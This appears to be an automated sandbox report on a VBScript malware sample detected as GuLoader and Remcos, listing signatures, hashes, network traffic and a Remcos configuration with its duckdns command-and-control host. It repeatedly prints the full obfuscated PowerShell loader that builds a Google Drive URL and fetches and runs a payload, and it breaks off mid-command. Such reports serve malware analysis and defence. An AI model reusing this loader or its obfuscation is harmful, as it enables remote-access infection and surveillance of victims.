Windows Analysis Report
310235118213_0365013261_20231018.vbs

Overview

General Information

Sample Name: 310235118213_0365013261_20231018.vbs
Analysis ID: 1329221
MD5: 1000a60faf7d836921196db078418d77
SHA1: c31dceb09812a8010e2d2fe0afd4a77d15a6867a
SHA256: cd3a4824db830fa74201c01f34e431d2e77dc04d6e15379e5bfb2d9fd0fe0679
Tags: vbs
Infos:

Detection

GuLoader, Remcos
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
VBScript performs obfuscated calls to suspicious functions
Yara detected Remcos RAT
Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Yara detected GuLoader
Maps a DLL or memory area into another process
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Very long command line found
Suspicious powershell command line found
C2 URLs / IPs found in malware configuration
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Found suspicious powershell code related to unpacking or dynamic code loading
Queries the volume information (name, serial number etc) of a device
Yara signature match
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to call native functions
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Java / VBScript file with very long strings (likely obfuscated code)
Uses a known web browser user agent for HTTP communication
Checks if the current process is being debugged
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Name Description Attribution Blogpost URLs Link
CloudEyE, GuLoader CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye
Name Description Attribution Blogpost URLs Link
Remcos, RemcosRAT Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

AV Detection

barindex
Source: 00000008.00000002.2678509870.0000000007861000.00000004.00000020.00020000.00000000.sdmp Malware Configuration Extractor: Remcos {"Host:Port:Password": "a458386d9.duckdns.org:3256:1", "Assigned name": "RemoteHost", "Copy file": "remcos.exe", "Mutex": "Rmc-42EOAE", "Keylog file": "logs.dat", "Screenshot file": "Screenshots", "Audio folder": "MicRecords", "Copy folder": "Remcos", "Keylog folder": "remcos"}
Source: 310235118213_0365013261_20231018.vbs ReversingLabs: Detection: 15%
Source: 310235118213_0365013261_20231018.vbs Virustotal: Detection: 8% Perma Link
Source: Yara match File source: 00000008.00000002.2678509870.0000000007861000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: http://pesterbdd.com/images/Pester.png URL Reputation: Label: malware
Source: a458386d9.duckdns.org Avira URL Cloud: Label: malware
Source: a458386d9.duckdns.org Virustotal: Detection: 10% Perma Link
Source: unknown HTTPS traffic detected: 142.250.31.139:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.31.139:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.251.163.132:443 -> 192.168.2.6:49732 version: TLS 1.2

Networking

barindex
Source: Malware configuration extractor URLs: a458386d9.duckdns.org
Source: Joe Sandbox View JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=1Esmx-uERj9DSXPuBwctU7fjBwSgUvRRX HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0Host: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/m2agi3cg08pk9j40dgkgoag3b0gpqa7v/1697801550000/09427577993996032855/*/1Esmx-uERj9DSXPuBwctU7fjBwSgUvRRX?e=download&uuid=69ba4c38-2ba7-46a0-beea-abaed563e247 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0Cache-Control: no-cacheHost: doc-0s-10-docs.googleusercontent.comConnection: Keep-Alive
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: powershell.exe, 00000004.00000002.2654023870.0000000002B10000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.m
Source: powershell.exe, 00000004.00000002.2662610438.0000000006D9A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.microso
Source: powershell.exe, 00000004.00000002.2662610438.0000000006CA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.microsoft
Source: wscript.exe, 00000000.00000003.2144161536.00000289A8D2C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2144705214.00000289A8D2C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2143763701.00000289A8D0F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: wscript.exe, 00000000.00000003.2144161536.00000289A8D2C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2144705214.00000289A8D2C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2143763701.00000289A8D0F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: powershell.exe, 00000002.00000002.2958093866.000001E753CC3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2958093866.000001E753E06000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2848971264.000001E745830000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2658657509.00000000052AC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.2654136971.0000000004399000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2653164255.00000000006A2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2848971264.000001E743C51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2654136971.0000000004241000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.2654136971.0000000004399000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2653164255.00000000006A2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.2848971264.000001E743C51000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000004.00000002.2654136971.0000000004241000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000004.00000002.2658657509.00000000052AC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.2658657509.00000000052AC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.2658657509.00000000052AC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.2654136971.0000000004399000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1Qujx0w0ZIMwratc2lLxr5SrfVu6yTdDH
Source: powershell.exe, 00000002.00000002.2848971264.000001E743E82000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1Qujx0w0ZIMwratc2lLxr5SrfVu6yTdDHp
Source: powershell.exe, 00000004.00000002.2654136971.0000000004399000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2653164255.00000000006A2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.2848971264.000001E7449FB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://go.micro
Source: powershell.exe, 00000002.00000002.2958093866.000001E753CC3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2958093866.000001E753E06000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2848971264.000001E745830000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2658657509.00000000052AC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: unknown DNS traffic detected: queries for: drive.google.com
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=1Qujx0w0ZIMwratc2lLxr5SrfVu6yTdDH HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Encoding: identityIf-Unmodified-Since: Wed, 18 Oct 2023 09:22:12 GMTUser-Agent: Microsoft BITS/7.8Host: drive.google.com
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=1Qujx0w0ZIMwratc2lLxr5SrfVu6yTdDH HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Encoding: identityIf-Unmodified-Since: Wed, 18 Oct 2023 09:22:12 GMTUser-Agent: Microsoft BITS/7.8Host: drive.google.com
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=1Esmx-uERj9DSXPuBwctU7fjBwSgUvRRX HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0Host: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/m2agi3cg08pk9j40dgkgoag3b0gpqa7v/1697801550000/09427577993996032855/*/1Esmx-uERj9DSXPuBwctU7fjBwSgUvRRX?e=download&uuid=69ba4c38-2ba7-46a0-beea-abaed563e247 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0Cache-Control: no-cacheHost: doc-0s-10-docs.googleusercontent.comConnection: Keep-Alive
Source: unknown HTTPS traffic detected: 142.250.31.139:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.31.139:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.251.163.132:443 -> 192.168.2.6:49732 version: TLS 1.2

E-Banking Fraud

barindex
Source: Yara match File source: 00000008.00000002.2678509870.0000000007861000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

System Summary

barindex
Source: Process Memory Space: powershell.exe PID: 7296, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Sabbatsaf9 ([String]$conver){$Hemi = 8;For($Chaperone=7; $Chaperone -lt $conver.Length-1; $Chaperone+=$Hemi){$Odonto=$Odonto+$conver.Substring($Chaperone, 1)};$Odonto;}$Forflygtig=Sabbatsaf9 'Moskeerh RadiattIntensitplatybap ProinssAweless:aurotel/ Unword/UnspicidGennemlrlitigabi DruknevBrnepsye Lseret.FritstigSpeaknioFrgemanounmeticgTrelemelTelemeteAntleri.IncomplcacritajoVinkelrmEcumeni/AmbytoouAnthrapcKomplek?SilkenweUncondoxSimplicpKnasteroFlertydrKalendetFertili=CleektidGeneraloMillosvwFleretanEctoderl SkjoldoDementiaCellevgdHyperne&Diskotei CompledBethank=Smrsrim1TennissQ BegohmuTilfredjSkefuldxEstimab0PengeafwButnakk0 AgerkaZCarpomeISalamanMsardachwMiskendrmunksbiaBedraget RecivicEtheris2ChekhovlNaggingLAabningxSipesrrrEstivat5 EuropeSSketchirCalcarifPersoniV CasinouKatedra6 BicarbyLadybirTSkrlevndJuanitaDSvrtlstHFellato ';$Odonto01=Sabbatsaf9 ' PrivatiThiofure Subvarx Lsnagi ';$Adjurorp = Sabbatsaf9 'Incitab\ Banders TorniryQuadruas MillimwTaskleso SirupswTanzani6 eftert4Microco\VetchyiWlrebogsiUniversnEnervatdTrafikuoMicrochwbrnehavsCardonrPAdoptivoRasurerw DeveloefaithfurFinansiSTousysyhJockeyieAriettalAmtsliglForeswe\SummandvEpanaph1Viltert.Semifos0videobr\ViktualpBauhinioMarkerswfiercene OnklenrSalgsdasLsreforh StudieeChagrinl DumpnilTapemar.TrinskieUdviklix UdgifteSkatteb '; & ($Odonto01) (Sabbatsaf9 'Forvikl$ OpponedConcinna PseudorCoaxerskAichmopfWhitewauAruncuslEnsrettsDiakonh2Hairlac=Desmotr$AuxiliueDialysen EksamevLytterf:hannibawFiskeriiUnitesanDenatiod Speedoi GauleirFireren ') ;. ($Odonto01) (Sabbatsaf9 'Klodser$BandoliAReported Piroguj MonocauVedtagerLoxingsoHelvetir ribaldp ukonve=Chefgru$SeptibrdProvostaDeputerrGrapholkLidebruf KonsekuNonprohl PorculsSurfrid2Fjerntl+Summari$ OptimaA FibrisdAlertedjEuphoniuFanaabsrDermatooSkivgatroveranap Hypers ') ; . ($Odonto01) (Sabbatsaf9 'Kommand$VarmefoT RosabeiSmaafejnAirablegSejlgarebondedri overin Storhje=Madolie Whelple( Jodenf(LensgregSymbolowAdodvurmGateforiKreklar BaconlewEtnograi SiphonnUnarmsa3Supines2Paamnst_Stichomp TapprirSavagenoUncivilcSandblseskoldnisSrgeligsSekundv byplay-ArchangFUdtnkni CunctaPSuperavrFljtetsoDenormacGigatoneTyrestasViperousformosaI InstitdOutrovi= Compli$Interim{DiffereP EngageIcismariD Rekomm}Lappemi)Tekstfo.SkattepCemprostoFrmandom murlycm SkriveaHaviournAfstnindunstrikLKobbersiunrigornDodecapeMiniste) Koloni Poster-fagterssSipiditp Beskrel MisforiAnnammet abunda Upassel[Feberenc ImitathNonsaneaelathavrSociali] Concil3 Paroar4 Nonulc '); & ($Odonto01) (Sabbatsaf9 'Crickep$SkrubtunCounteriNaturalgLinealehGatheretManaismsSalsaenhLappeskiKeyways Bristle=Papyrop Ndbrem$FiksxirT LateroiIndflydnridgetrgUdvindie TredjeiInveste[Piskeri$ AftrdeTGarfunkiMultiranDendropgAksetsbeskrivemiVardens. SkabnicChemurgoRecipieuEksportnsouthertOktaede-Bumbler2Zimentw]Udsnits '); & ($Odonto01)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Sabbatsaf9 ([String]$conver){$Hemi = 8;For($Chaperone=7; $Chaperone -lt $conver.Length-1; $Chaperone+=$Hemi){$Odonto=$Odonto+$conver.Substring($Chaperone, 1)};$Odonto;}$Forflygtig=Sabbatsaf9 'Moskeerh RadiattIntensitplatybap ProinssAweless:aurotel/ Unword/UnspicidGennemlrlitigabi DruknevBrnepsye Lseret.FritstigSpeaknioFrgemanounmeticgTrelemelTelemeteAntleri.IncomplcacritajoVinkelrmEcumeni/AmbytoouAnthrapcKomplek?SilkenweUncondoxSimplicpKnasteroFlertydrKalendetFertili=CleektidGeneraloMillosvwFleretanEctoderl SkjoldoDementiaCellevgdHyperne&Diskotei CompledBethank=Smrsrim1TennissQ BegohmuTilfredjSkefuldxEstimab0PengeafwButnakk0 AgerkaZCarpomeISalamanMsardachwMiskendrmunksbiaBedraget RecivicEtheris2ChekhovlNaggingLAabningxSipesrrrEstivat5 EuropeSSketchirCalcarifPersoniV CasinouKatedra6 BicarbyLadybirTSkrlevndJuanitaDSvrtlstHFellato ';$Odonto01=Sabbatsaf9 ' PrivatiThiofure Subvarx Lsnagi ';$Adjurorp = Sabbatsaf9 'Incitab\ Banders TorniryQuadruas MillimwTaskleso SirupswTanzani6 eftert4Microco\VetchyiWlrebogsiUniversnEnervatdTrafikuoMicrochwbrnehavsCardonrPAdoptivoRasurerw DeveloefaithfurFinansiSTousysyhJockeyieAriettalAmtsliglForeswe\SummandvEpanaph1Viltert.Semifos0videobr\ViktualpBauhinioMarkerswfiercene OnklenrSalgsdasLsreforh StudieeChagrinl DumpnilTapemar.TrinskieUdviklix UdgifteSkatteb '; & ($Odonto01) (Sabbatsaf9 'Forvikl$ OpponedConcinna PseudorCoaxerskAichmopfWhitewauAruncuslEnsrettsDiakonh2Hairlac=Desmotr$AuxiliueDialysen EksamevLytterf:hannibawFiskeriiUnitesanDenatiod Speedoi GauleirFireren ') ;. ($Odonto01) (Sabbatsaf9 'Klodser$BandoliAReported Piroguj MonocauVedtagerLoxingsoHelvetir ribaldp ukonve=Chefgru$SeptibrdProvostaDeputerrGrapholkLidebruf KonsekuNonprohl PorculsSurfrid2Fjerntl+Summari$ OptimaA FibrisdAlertedjEuphoniuFanaabsrDermatooSkivgatroveranap Hypers ') ; . ($Odonto01) (Sabbatsaf9 'Kommand$VarmefoT RosabeiSmaafejnAirablegSejlgarebondedri overin Storhje=Madolie Whelple( Jodenf(LensgregSymbolowAdodvurmGateforiKreklar BaconlewEtnograi SiphonnUnarmsa3Supines2Paamnst_Stichomp TapprirSavagenoUncivilcSandblseskoldnisSrgeligsSekundv byplay-ArchangFUdtnkni CunctaPSuperavrFljtetsoDenormacGigatoneTyrestasViperousformosaI InstitdOutrovi= Compli$Interim{DiffereP EngageIcismariD Rekomm}Lappemi)Tekstfo.SkattepCemprostoFrmandom murlycm SkriveaHaviournAfstnindunstrikLKobbersiunrigornDodecapeMiniste) Koloni Poster-fagterssSipiditp Beskrel MisforiAnnammet abunda Upassel[Feberenc ImitathNonsaneaelathavrSociali] Concil3 Paroar4 Nonulc '); & ($Odonto01) (Sabbatsaf9 'Crickep$SkrubtunCounteriNaturalgLinealehGatheretManaismsSalsaenhLappeskiKeyways Bristle=Papyrop Ndbrem$FiksxirT LateroiIndflydnridgetrgUdvindie TredjeiInveste[Piskeri$ AftrdeTGarfunkiMultiranDendropgAksetsbeskrivemiVardens. SkabnicChemurgoRecipieuEksportnsouthertOktaede-Bumbler2Zimentw]Udsnits '); & ($Odonto01) Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 6816
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: Commandline size = 6816
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 6816 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: Commandline size = 6816 Jump to behavior
Source: C:\Windows\System32\wscript.exe COM Object queried: WBEM Locator HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24} Jump to behavior
Source: C:\Windows\System32\wscript.exe COM Object queried: Windows Management and Instrumentation HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820} Jump to behavior
Source: Process Memory Space: powershell.exe PID: 7296, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_00007FFD33D09A56 2_2_00007FFD33D09A56
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_00007FFD33D0A802 2_2_00007FFD33D0A802
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_00007FFD33D04745 2_2_00007FFD33D04745
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_00007FFD33D03EFA 2_2_00007FFD33D03EFA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_00007FFD33D06448 2_2_00007FFD33D06448
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_00007FFD33D03815 2_2_00007FFD33D03815
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_00007FFD33D0B1FA 2_2_00007FFD33D0B1FA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_00007FFD33D03575 2_2_00007FFD33D03575
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_00007FFD33D044FB 2_2_00007FFD33D044FB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_00007FFD33D0571A 2_2_00007FFD33D0571A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0085C8D8 4_2_0085C8D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0085D1A8 4_2_0085D1A8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_0085C590 4_2_0085C590
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 8_2_035D66CD Sleep,NtProtectVirtualMemory, 8_2_035D66CD
Source: 310235118213_0365013261_20231018.vbs Initial sample: Strings found which are bigger than 50
Source: 310235118213_0365013261_20231018.vbs ReversingLabs: Detection: 15%
Source: 310235118213_0365013261_20231018.vbs Virustotal: Detection: 8%
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\310235118213_0365013261_20231018.vbs"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Sabbatsaf9 ([String]$conver){$Hemi = 8;For($Chaperone=7; $Chaperone -lt $conver.Length-1; $Chaperone+=$Hemi){$Odonto=$Odonto+$conver.Substring($Chaperone, 1)};$Odonto;}$Forflygtig=Sabbatsaf9 'Moskeerh RadiattIntensitplatybap ProinssAweless:aurotel/ Unword/UnspicidGennemlrlitigabi DruknevBrnepsye Lseret.FritstigSpeaknioFrgemanounmeticgTrelemelTelemeteAntleri.IncomplcacritajoVinkelrmEcumeni/AmbytoouAnthrapcKomplek?SilkenweUncondoxSimplicpKnasteroFlertydrKalendetFertili=CleektidGeneraloMillosvwFleretanEctoderl SkjoldoDementiaCellevgdHyperne&Diskotei CompledBethank=Smrsrim1TennissQ BegohmuTilfredjSkefuldxEstimab0PengeafwButnakk0 AgerkaZCarpomeISalamanMsardachwMiskendrmunksbiaBedraget RecivicEtheris2ChekhovlNaggingLAabningxSipesrrrEstivat5 EuropeSSketchirCalcarifPersoniV CasinouKatedra6 BicarbyLadybirTSkrlevndJuanitaDSvrtlstHFellato ';$Odonto01=Sabbatsaf9 ' PrivatiThiofure Subvarx Lsnagi ';$Adjurorp = Sabbatsaf9 'Incitab\ Banders TorniryQuadruas MillimwTaskleso SirupswTanzani6 eftert4Microco\VetchyiWlrebogsiUniversnEnervatdTrafikuoMicrochwbrnehavsCardonrPAdoptivoRasurerw DeveloefaithfurFinansiSTousysyhJockeyieAriettalAmtsliglForeswe\SummandvEpanaph1Viltert.Semifos0videobr\ViktualpBauhinioMarkerswfiercene OnklenrSalgsdasLsreforh StudieeChagrinl DumpnilTapemar.TrinskieUdviklix UdgifteSkatteb '; & ($Odonto01) (Sabbatsaf9 'Forvikl$ OpponedConcinna PseudorCoaxerskAichmopfWhitewauAruncuslEnsrettsDiakonh2Hairlac=Desmotr$AuxiliueDialysen EksamevLytterf:hannibawFiskeriiUnitesanDenatiod Speedoi GauleirFireren ') ;. ($Odonto01) (Sabbatsaf9 'Klodser$BandoliAReported Piroguj MonocauVedtagerLoxingsoHelvetir ribaldp ukonve=Chefgru$SeptibrdProvostaDeputerrGrapholkLidebruf KonsekuNonprohl PorculsSurfrid2Fjerntl+Summari$ OptimaA FibrisdAlertedjEuphoniuFanaabsrDermatooSkivgatroveranap Hypers ') ; . ($Odonto01) (Sabbatsaf9 'Kommand$VarmefoT RosabeiSmaafejnAirablegSejlgarebondedri overin Storhje=Madolie Whelple( Jodenf(LensgregSymbolowAdodvurmGateforiKreklar BaconlewEtnograi SiphonnUnarmsa3Supines2Paamnst_Stichomp TapprirSavagenoUncivilcSandblseskoldnisSrgeligsSekundv byplay-ArchangFUdtnkni CunctaPSuperavrFljtetsoDenormacGigatoneTyrestasViperousformosaI InstitdOutrovi= Compli$Interim{DiffereP EngageIcismariD Rekomm}Lappemi)Tekstfo.SkattepCemprostoFrmandom murlycm SkriveaHaviournAfstnindunstrikLKobbersiunrigornDodecapeMiniste) Koloni Poster-fagterssSipiditp Beskrel MisforiAnnammet abunda Upassel[Feberenc ImitathNonsaneaelathavrSociali] Concil3 Paroar4 Nonulc '); & ($Odonto01) (Sabbatsaf9 'Crickep$SkrubtunCounteriNaturalgLinealehGatheretManaismsSalsaenhLappeskiKeyways Bristle=Papyrop Ndbrem$FiksxirT LateroiIndflydnridgetrgUdvindie TredjeiInveste[Piskeri$ AftrdeTGarfunkiMultiranDendropgAksetsbeskrivemiVardens. SkabnicChemurgoRecipieuEksportnsouthertOktaede-Bumbler2Zimentw]Udsnits '); & ($Odonto01)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Sabbatsaf9 ([String]$conver){$Hemi = 8;For($Chaperone=7; $Chaperone -lt $conver.Length-1; $Chaperone+=$Hemi){$Odonto=$Odonto+$conver.Substring($Chaperone, 1)};$Odonto;}$Forflygtig=Sabbatsaf9 'Moskeerh RadiattIntensitplatybap ProinssAweless:aurotel/ Unword/UnspicidGennemlrlitigabi DruknevBrnepsye Lseret.FritstigSpeaknioFrgemanounmeticgTrelemelTelemeteAntleri.IncomplcacritajoVinkelrmEcumeni/AmbytoouAnthrapcKomplek?SilkenweUncondoxSimplicpKnasteroFlertydrKalendetFertili=CleektidGeneraloMillosvwFleretanEctoderl SkjoldoDementiaCellevgdHyperne&Diskotei CompledBethank=Smrsrim1TennissQ BegohmuTilfredjSkefuldxEstimab0PengeafwButnakk0 AgerkaZCarpomeISalamanMsardachwMiskendrmunksbiaBedraget RecivicEtheris2ChekhovlNaggingLAabningxSipesrrrEstivat5 EuropeSSketchirCalcarifPersoniV CasinouKatedra6 BicarbyLadybirTSkrlevndJuanitaDSvrtlstHFellato ';$Odonto01=Sabbatsaf9 ' PrivatiThiofure Subvarx Lsnagi ';$Adjurorp = Sabbatsaf9 'Incitab\ Banders TorniryQuadruas MillimwTaskleso SirupswTanzani6 eftert4Microco\VetchyiWlrebogsiUniversnEnervatdTrafikuoMicrochwbrnehavsCardonrPAdoptivoRasurerw DeveloefaithfurFinansiSTousysyhJockeyieAriettalAmtsliglForeswe\SummandvEpanaph1Viltert.Semifos0videobr\ViktualpBauhinioMarkerswfiercene OnklenrSalgsdasLsreforh StudieeChagrinl DumpnilTapemar.TrinskieUdviklix UdgifteSkatteb '; & ($Odonto01) (Sabbatsaf9 'Forvikl$ OpponedConcinna PseudorCoaxerskAichmopfWhitewauAruncuslEnsrettsDiakonh2Hairlac=Desmotr$AuxiliueDialysen EksamevLytterf:hannibawFiskeriiUnitesanDenatiod Speedoi GauleirFireren ') ;. ($Odonto01) (Sabbatsaf9 'Klodser$BandoliAReported Piroguj MonocauVedtagerLoxingsoHelvetir ribaldp ukonve=Chefgru$SeptibrdProvostaDeputerrGrapholkLidebruf KonsekuNonprohl PorculsSurfrid2Fjerntl+Summari$ OptimaA FibrisdAlertedjEuphoniuFanaabsrDermatooSkivgatroveranap Hypers ') ; . ($Odonto01) (Sabbatsaf9 